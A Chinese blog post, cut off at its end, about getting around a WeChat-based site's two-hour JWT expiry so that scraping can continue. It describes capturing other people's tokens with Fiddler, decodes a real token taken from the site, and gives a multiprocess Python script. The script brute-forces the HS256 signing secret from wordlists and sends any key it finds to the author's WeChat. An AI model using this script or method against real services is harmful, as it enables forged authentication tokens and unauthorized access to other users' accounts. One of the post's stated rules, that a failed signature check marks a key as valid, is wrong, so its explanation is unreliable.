一次关于jwt的尝试破解
一、为什么研究jwt
jwt是现在前后端分离项目中很流行的跨域身份验证解决方案,我前段时间不知道啥是jwt是啥,后来一步步揭开它的神秘面纱,听我慢慢道来。
最近在用爬虫爬一个站点的图片。结构复杂混乱,花了好长时间。但是没有什么反爬,唯一麻烦的就是构造请求的时候cookie里面的token两个小时过期一次,使用了很多的方法。
方案一:每次都要拿上fiddler,中间人获取别人的token,输入到脚本中去,脚本加入了server酱的微信token过期提醒。
方案二:单独搭建服务器用手机的httpcanary这个类似fiddler的安卓软件获取token提交token到我自己的服务器,脚本再请求我的服务器获取token,不用守着电脑了。
方案三:还fiddler script 写原生的ajax自动提交请求的请求头再通过服务器程序正则提取想要的token保存到数据库,爬虫脚本请求我自己的服务器获取token。
真的太折磨人了。因为目标站点是微信平台,很难在浏览器打断点,自己也不会js逆向,分析token过期以后该怎么请求服务器来简单的获取新的token。
二、来分析一下这个token吧
这个token存在请求的cookie中。是 三个键值对形式的cookie。
第一个sajssdk_2015_cross_new_user=1,没有分析出来是什么东西
第二个sensorsdata2015jssdkcross就牛逼了,这是神策数据大数据平台开发文档里面的关键字,看了下官网,在前端埋点收集用户点击,后台大数据分析,精准营销?定向营销?收集用户需求,给公司决策提供数据支撑?(有兴趣可以去百度下)
第三个APP_TOKEN,这就是重点所在。根据不断尝试,其他数据可以变,都可行,就这个改变了会报错。
这个APP_TOKEN的内容就是传说中的jwt验证
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0.F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q
JWT有三个部分如下,以点号分割。分别为JWT头、有效载荷和签名拿到http://jwt.io这个在线解密网站解密一下。
第一部分:jwteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9为jwt的头,base64解码为:
{
"alg": "HS256",
"typ": "JWT"
}
alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。
第二部分:有效载荷
eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0
base64解密为:
{ "sub": "182761",
"aud": "WEIXIN",
"exp": 1587568180,
"iat": 1587560980,
"jti": "1d308a9a-784d-475c-a9d1-8fbff1195064"
}
sub:用户唯一id
aud:客户端类型
exp:过期时间
iat:签发jwt时间
jti:每一次jwt的签发的唯一ID
过期时间和签发时间相减刚好两小时
第三部分:签名
F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q
这就是最重要的部分,因为jwt的签发是从服务器签发给客户端的。通过一个密钥生成的,在任何场景都不应该流露出去。一旦客户端得知这个密钥, 那就意味着客户端是可以自我签发jwt了,我最终就是要找到这个密钥。
生成方式就是前两部分分别base64加密组成字符串再加上密钥这个字符串再通过第一部分声明的HS256方式加密得出来了的。HS256就是一种对称加解密。加解密就是一个密钥。
三。分析完毕,开始破解
接下来就要求到这个密钥,根据多方采集的资料,只有穷举弱口令暴力破解了。综合运用,采用多线程,微信通知成功的消息,开始网上搜集一些弱口令。
讲解一下python中jwt模块验证方式,我将采用jwt的解码,查看解码时的各种状态判断爆破是否成功,就是不断试错,看试错结果
稍微解释一下,看不懂略过就行:
1.若签名直接校验失败,则 key_ 为有效密钥;
2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalIDAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;
3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。
代码如下
import requests
import jwt
import datetime
import os
import time
from multiprocessing import Pool
jtws = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxODI3NjEiLCJhdWQiOiJXRUlYSU4iLCJleHAiOjE1ODc1NjgxODAsImlhdCI6MTU4NzU2MDk4MCwianRpIjoiMWQzMDhhOWEtNzg0ZC00NzVjLWE5ZDEtOGZiZmYxMTk1MDY0In0.F4G-NpKcqQ5AuZyK1R7LTPi5zX0AW3hOalODvoeny5Q"
def server_send(key):
#server酱通知,通知到我自己的微信,要改自己的密钥哦
jsons = {'text':"key找到了",'desp':str(key)}
urls = "https://sc.ftqq.com/SC*******************************************.send?"
datas = requests.get(urls,params=jsons)
print("找到了!!!!!!!!!!!!!!!!!!"+str(jsons)+str(datas))
def jwt_test(key_):
if key_:
try:
key_ = str(key_, encoding = "utf-8")
except:
return
try:
jwt.decode(jtws,verify=True,key=key_)
server_send(key_)
except (jwt.exceptions.ExpiredSignatureError,jwt.exceptions.InvalidAudienceError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.InvalidIssuedAtError,jwt.exceptions.ImmatureSignatureError):
server_send(key_)
except jwt.exceptions.InvalidSignatureError:
pass
if __name__ == "__main__":
all_count = 0
rootdir = r'H:\111\gg\key\EWSA跑字典(相关程序)'
list = os.listdir(rootdir)
for i in list:
path = r"H:\111\gg\key\EWSA跑字典(相关程序)\\" + str(i)
key_list = []
with open(path, 'rb')as f:
for line in f:
key_ = line.strip()
key_list.append(key_)#搜集每一个文件下的弱口令组成一个数组放到线程池爆破。
totalStartTime = datetime.datetime.now()
pool = Pool(processes=16, )#16个线程的线程池
pool.map(jwt_test, key_list